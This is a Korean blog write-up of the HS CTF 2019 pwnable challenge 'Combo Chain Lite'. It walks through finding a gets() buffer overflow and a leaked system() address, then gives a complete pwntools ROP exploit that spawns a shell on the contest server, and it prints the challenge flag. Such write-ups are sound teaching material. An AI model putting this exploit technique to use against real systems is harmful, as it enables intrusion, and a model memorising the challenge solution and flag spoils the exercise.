-
HS CTF 2019 <Combo Chain Lite> Write-UpWeekHack/Pwnable 2019. 6. 8. 10:52반응형SMALL
안녕하세요. Luke입니다. HS CTF Write-Up을 몰아서 쓰고 있습니다. Combo Chain과는 다르게 Combo Chain Lite는 흔한 ROP, 아니 흔한 ROP보다도 쉬운 ROP였습니다. system함수의 주소를 알려주고 있었습니다.
문제는 다음과 같습니다. 여기도 별 정보 없습니다.(HINT에 보면 ROP라고 나오긴 합니다.)
파일은 64비트 리눅스 바이너리입니다.
IDA로 열어보겠습니다.
얘도 Return to Sender과 같이 vuln()함수를 main()함수에서 실행시켜 줍니다.
그럼 vuln()함수를 열어봐야겠지요?
system 함수를 첫 줄에서 printf로 출력해주고, gets로 입력해줍니다. system 함수 주소를 알려주니 문제가 조금 쉽겠군요.
그럼 이제 메모리 보호 기술을 체크해보겠습니다.
NX 하나 걸려있고 Relro는 Partial이라 크게 상관 안해도 될 것 같습니다.
그러니 딱봐도 주어진 system 함수를 읽어와 ROP 후 해당 system 함수 주소로 "/bin/sh"를 실행시키면 쉘이 따일 것 같습니다.
그럼 이제 메모리 구조를 파악해야겠지요?
v1 변수가 0x8의 크기를 가지므로
0x8(8) + SFP 0x4(8) + RET이므로
system 주소를 RET에 넣어야하므로 16만큼 더미를 넣고 주소를 넣으면 될 것 같습니다.
그걸 토대로 익스 코드를 짜보겠습니다.
from pwn import * bina='./combo-chain-lite' #p=process(bina) p=remote('pwn.hsctf.com',3131) e=ELF(bina) libc=e.libc bss=e.bss() pr=0x00401273 gets_plt=e.plt['gets'] gets_got=e.got['gets'] p.recvuntil(': ') sys=p.recv(14) log.success(sys) sys=int(sys,16) p.recvuntil(': ') pay="A"*16 pay+=p64(pr) pay+=p64(bss) pay+=p64(gets_plt) pay+=p64(pr) pay+=p64(bss) pay+=p64(sys) p.sendline(pay) p.sendline('/bin/sh') p.interactive()
그럼 이걸로 익스를 하면!
다음과 같이 쉘이 따여 flag를 토해내게 됩니다.
hsctf{wheeeeeee_that_was_fun}
위히~~ 재밌었습니다~
반응형LIST